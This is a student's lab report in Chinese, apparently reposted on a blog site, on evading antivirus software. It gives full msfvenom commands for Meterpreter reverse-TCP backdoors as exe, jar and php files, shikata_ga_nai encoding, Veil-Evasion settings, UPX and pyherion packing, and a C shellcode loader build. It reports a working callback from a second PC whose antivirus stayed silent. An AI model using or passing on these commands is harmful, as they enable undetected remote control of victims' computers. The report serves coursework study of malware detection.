1. 程式人生 > >Exp3 免殺原理與實踐 ——20164316張子遙

Exp3 免殺原理與實踐 ——20164316張子遙

ping 開啟 後門 tro 技術 創建 判斷 問題 rev

一、實踐基本內容

1.實踐目標

(1) 正確使用msf編碼器,msfvenom生成如jar之類的其他文件,veil-evasion,加殼工具,使用shellcode編程

(2)通過組合應用各種技術實現惡意代碼免殺

(如果成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。)

(3)用另一電腦實測,在殺軟開啟的情況下,可運行並回連成功,註明電腦的殺軟名稱與版本

2.實踐基礎問題回答

(1)殺軟是如何檢測出惡意代碼的?

  特征碼:殺軟會將惡意代碼中有明顯特征的一部分作為特征碼,通過比對特征碼來檢測

  惡意軟件行為判斷:監控並判斷軟件行為,以程序的行為來判斷是否為惡意軟件。

(2)免殺是做什麽?

  在靶機當中的後門程序,能夠不被殺毒軟件所發現

(3)免殺的基本方法有哪些?

  msfvenom生成,msfvenom命令進行多次編碼,veil生成,shellcode編程,加殼。


二、實踐具體步驟

目標一:① 正確使用msf編碼器,② msfvenom生成如jar之類的其他文件,③ veil-evasion,④加殼工具,⑤ 使用shellcode編程

① 正確使用msf編碼器

在上一次的實踐中已經成功能夠用msfvenom命令生成後門程序

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168
.192.129 LPORT=4316 -f exe > 20164316.exe

技術分享圖片

將生成的後門程序復制到本機上,可通過 https://www.virustotal.com/ http://www.virscan.org/ 查看一下報毒結果。

技術分享圖片

基本上都達到了半數的報毒,這是直接生成的,那麽試試在msfvenom命令中加上參數 i 進行一次或者多次編譯。(此處試著編譯了一次和七次)

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘\x00’ LHOST=192.168
.192.129 LPORT=4316 -f exe > met-encoded.exe msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b ‘\x00’ LHOST=192.168.192.129 LPORT=4316 -f exe > met-encoded7.exe

技術分享圖片

技術分享圖片

再上傳到virscan.org上查看結果

技術分享圖片

技術分享圖片

相比於之前直接生成的後門程序,報毒率甚至升高了....

② msfvenom生成如jar之類的其他文件

跟之前生成的後門程序同理。只需要修改參數,即可生成jar之類的其他文件。

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.192.129 LPORT=4316 x> 4316.jar

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.192.129 LPORT=4316  x> 4316_2.php

技術分享圖片

技術分享圖片

③ 使用veil-evasion

由於我自身的虛擬機在下載veil的時候會出現死機的情況...於是拷貝了同學已經下好veil的虛擬機

使用 veil 命令進入,輸入 use Evasion 進入veil的Evasion板塊

技術分享圖片

技術分享圖片

通過上述所給出的命令,輸入list列出可使用的後門程序列表,可以看到有好幾種語言的。

輸入 use 7 采用該c語言編寫的,反彈tcp連接的選項;

然後隨著步驟設置

set LHOST 192.168.192.129

set LPORT 4316

最後輸入 generate 可生成文件

技術分享圖片

技術分享圖片

技術分享圖片

技術分享圖片

由生成結果顯示的文件夾,我們可以找到後門程序在虛擬機 var/lib/veil/output/compiled/ 這個目錄下,復制到Windows再上傳到virscan.org上查看結果

技術分享圖片

技術分享圖片

④使用加殼工具

此處使用了upx壓縮殼,輸入命令 upx pwn4316.exe -o pwn4316.upxed.exe

將生成好了的後門程序上傳到virscan.org上查看結果,發現跟之前的結果差別並不大

技術分享圖片

技術分享圖片

⑤ 使用shellcode編程(c語言+shellcode)

首先利用 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.129 LPORT=4316 -f c 生成shellcode

輸入 vi shellcode1.c 打開vim編輯器創建一個新的.c文件,並把生成的shellcode粘貼過來,再用c語言補全整個程序

保存並退出編輯器後,利用 i686-w64-mingw32-g++ shellcode1.c -o shellcode1.exe 編譯.c文件,生成exe文件

技術分享圖片

技術分享圖片

將已經生成的後門程序復制到win中,並在Linux虛擬機中設置msf,打開監聽,在win中運行程序,回連到kali,但是發現360安全衛士仍然報毒。

技術分享圖片

技術分享圖片

目標二:通過組合應用各種技術實現惡意代碼免殺

在此次實踐中為了能實現免殺,用了很多方法。

1.Linux中生成shellcode,在win中利用codeblock生成.c程序並進行編譯,回連kali時仍然報毒。

2.對在Linux中生成的後門程序進行加殼,pyherion加密殼,回連kali時仍然報毒。

3.對在Linux中生成的後門程序進行加殼,先利用upx壓縮殼,再使用pyherion加密殼,回連kali時仍然報毒。

技術分享圖片

技術分享圖片

有些忘了截圖...

——————————以上為失敗的嘗試,以下是成功的——————————

最後采用的是利用veil生成Python編寫的後門,同時在生成時采用了pyherion加殼。(因為veil-Evasion中生成後門能夠直接用pyherion加密,較為方便)

最後回連kali成功同時與殺軟並存的截圖如下

技術分享圖片

技術分享圖片

目標三:用另一電腦實測,在殺軟開啟的情況下,可運行並回連成功,註明電腦的殺軟名稱與版本

目標三仍然采用了veil生成Python編寫的後門,同時在生成時采用了pyherion加殼。

因為Linux的虛擬機要連接另一臺windows物理機,nat模式行不通,修改為橋接模式,於是虛擬機的ip發生了改變,所以後門程序都需要重新生成,修改LHOST為新的ip192.168.1.173

靶機用騰訊管家掃描了桌面,無法發現已經放在桌面上的後門程序進行報毒,同時回連kali成功

技術分享圖片

技術分享圖片

技術分享圖片

技術分享圖片


三、實踐所遇問題與解決

1.在目標四中,起先發現在另一臺win中ping虛擬機,會發生TTL傳輸中過期的問題,也因此在Linux上msf中監聽不到後門程序的運行。

技術分享圖片

問題原因以及解決:發現可能是因為虛擬機網絡適配器使用的是NAT模式,而虛擬機的本機win與另一臺win在同一局域網,虛擬機與另一臺win之間可能形成了路由環路,所以無法ping通,所以將虛擬機網絡適配器使用改成了橋接模式,使虛擬機直接與另一臺win在同一局域網中。


四、實踐收獲

  在本次實驗中,掌握了更多種後門程序的生成方法,以及掌握殺軟是如何檢測到惡意軟件的原理,學會把後門程序免殺化,通過各種的嘗試使自己的後門程序更加完善。

  • 開啟殺軟能絕對防止電腦中惡意代碼嗎?

  很明顯,在實踐中就能發現事實上殺軟並不能絕對防止電腦中惡意代碼,惡意軟件能通過各種方式試圖繞過殺軟。

Exp3 免殺原理與實踐 ——20164316張子遙